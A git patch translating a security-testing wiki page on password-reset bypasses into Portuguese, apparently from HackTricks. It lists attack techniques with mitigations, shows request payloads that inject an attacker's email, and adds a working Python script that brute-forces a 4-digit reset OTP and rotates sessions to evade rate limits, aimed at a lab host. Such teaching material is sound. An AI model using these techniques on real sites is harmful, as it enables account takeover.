From c65b2498730ec551d7a8aacead916f2a3ce2660f Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 13 Apr 2025 14:42:43 +0000 Subject: [PATCH] Translated ['src/pentesting-web/reset-password.md'] to pt --- src/pentesting-web/reset-password.md | 98 +++++++++++++++++++++++----- 1 file changed, 81 insertions(+), 17 deletions(-) diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index d9693bb7a..4f3f22bed 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -1,4 +1,4 @@ -# Bypass de Redefinição/Senha Esquecida +# Bypass de Redefinição/Esquecimento de Senha {{#include ../banners/hacktricks-training.md}} @@ -63,7 +63,7 @@ POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` -- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON +- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON. ```php POST /resetPassword [...] @@ -77,7 +77,7 @@ POST /resetPassword - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) -## **Mudando o Email e a Senha de qualquer Usuário através de Parâmetros da API** +## **Mudando o Email e a Senha de Qualquer Usuário Através de Parâmetros da API** - Os atacantes podem modificar os parâmetros de email e senha em solicitações da API para alterar as credenciais da conta. ```php @@ -85,7 +85,7 @@ POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` -- **Passos de Mitigação**: +- **Etapas de Mitigação**: - Garantir validação rigorosa de parâmetros e verificações de autenticação. - Implementar registro e monitoramento robustos para detectar e responder a atividades suspeitas. - **Referência**: @@ -94,7 +94,7 @@ POST /api/changepass ## **Sem Limitação de Taxa: Bombardeio de Email** - A falta de limitação de taxa em solicitações de redefinição de senha pode levar ao bombardeio de email, sobrecarregando o usuário com emails de redefinição. -- **Passos de Mitigação**: +- **Etapas de Mitigação**: - Implementar limitação de taxa com base no endereço IP ou na conta do usuário. - Usar desafios CAPTCHA para prevenir abusos automatizados. - **Referências**: @@ -109,27 +109,27 @@ POST /api/changepass - Baseado no Primeiro Nome e Sobrenome - Baseado na Data de Nascimento - Baseado em Criptografia -- **Passos de Mitigação**: -- Usar métodos fortes e criptográficos para geração de tokens. +- **Etapas de Mitigação**: +- Usar métodos fortes e criptográficos para a geração de tokens. - Garantir aleatoriedade e comprimento suficientes para prevenir previsibilidade. - **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens. ## **UUID Adivinhável** -- Se UUIDs (versão 1) são adivinháveis ou previsíveis, atacantes podem forçá-los para gerar tokens de redefinição válidos. Verifique: +- Se UUIDs (versão 1) forem adivinháveis ou previsíveis, atacantes podem forçá-los a gerar tokens de redefinição válidos. Verifique: {{#ref}} uuid-insecurities.md {{#endref}} -- **Passos de Mitigação**: +- **Etapas de Mitigação**: - Usar GUID versão 4 para aleatoriedade ou implementar medidas de segurança adicionais para outras versões. - **Ferramentas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs. ## **Manipulação de Resposta: Substituir Resposta Ruim por Boa** - Manipulando respostas HTTP para contornar mensagens de erro ou restrições. -- **Passos de Mitigação**: +- **Etapas de Mitigação**: - Implementar verificações do lado do servidor para garantir a integridade da resposta. - Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle. - **Referência**: @@ -138,34 +138,98 @@ uuid-insecurities.md ## **Usando Token Expirado** - Testando se tokens expirados ainda podem ser usados para redefinição de senha. -- **Passos de Mitigação**: +- **Etapas de Mitigação**: - Implementar políticas rigorosas de expiração de tokens e validar a expiração do token no lado do servidor. ## **Força Bruta do Token de Redefinição de Senha** - Tentando forçar o token de redefinição usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP. -- **Passos de Mitigação**: +- **Etapas de Mitigação**: - Implementar mecanismos robustos de limitação de taxa e bloqueio de conta. - Monitorar atividades suspeitas indicativas de ataques de força bruta. ## **Tente Usar Seu Token** -- Testando se o token de redefinição de um atacante pode ser usado em conjunto com o email da vítima. -- **Passos de Mitigação**: +- Testando se o token de redefinição do atacante pode ser usado em conjunto com o email da vítima. +- **Etapas de Mitigação**: - Garantir que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário. ## **Invalidar Sessão em Logout/Redefinição de Senha** -- Garantir que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha. -- **Passos de Mitigação**: +- Garantindo que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha. +- **Etapas de Mitigação**: - Implementar gerenciamento adequado de sessões, garantindo que todas as sessões sejam invalidadas ao fazer logout ou redefinir a senha. ## **Invalidar Sessão em Logout/Redefinição de Senha** - Tokens de redefinição devem ter um tempo de expiração após o qual se tornam inválidos. -- **Passos de Mitigação**: +- **Etapas de Mitigação**: - Definir um tempo de expiração razoável para tokens de redefinição e aplicá-lo rigorosamente no lado do servidor. +## **Contornar Limite de Taxa de OTP Mudando Sua Sessão** + +- Se o site estiver usando a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos), então podemos efetivamente forçar o OTP. +- **exploração**: +- basta solicitar um novo token de sessão após ser bloqueado pelo servidor. +- **Exemplo** de código que explora esse bug adivinhando aleatoriamente o OTP (quando você muda a sessão, o OTP também mudará, e assim não poderemos forçar sequencialmente!): + +``` python +# Bypass de autenticação por redefinição de senha +# por coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] Iniciando ataque!") +sleep(3) +print("[+] Isso pode levar cerca de 5 minutos para terminar!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # número aleatório de 0 - 9999 com 4 d +parms["s"] = 164 # não importante, só afeta o frontend +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # seguir número de tentativas +out = requests.get(logout,headers=headers) # faz logout +mainp = requests.get(root) # obtém outro phpssid (token) + +cookies = out.cookies # extrai o sessionid +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" # atualiza os headers com nova sessão + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envia o email para mudar a senha +ter = 0 # reinicia ter para obter uma nova sessão após 8 tentativas +else: +ter += 1 +if(len(res.text) == 2292): # este é o comprimento da página quando você obtém o código de recuperação corretamente (obtido por teste) +print(len(res.text)) # para informações de depuração +print(phpsessid) + +reset_data = { # aqui mudaremos a senha para algo novo +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] A senha foi alterada para:D37djkamd!") +break +except Exception as e: +print("[+] Ataque interrompido") +``` + ## Referências - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)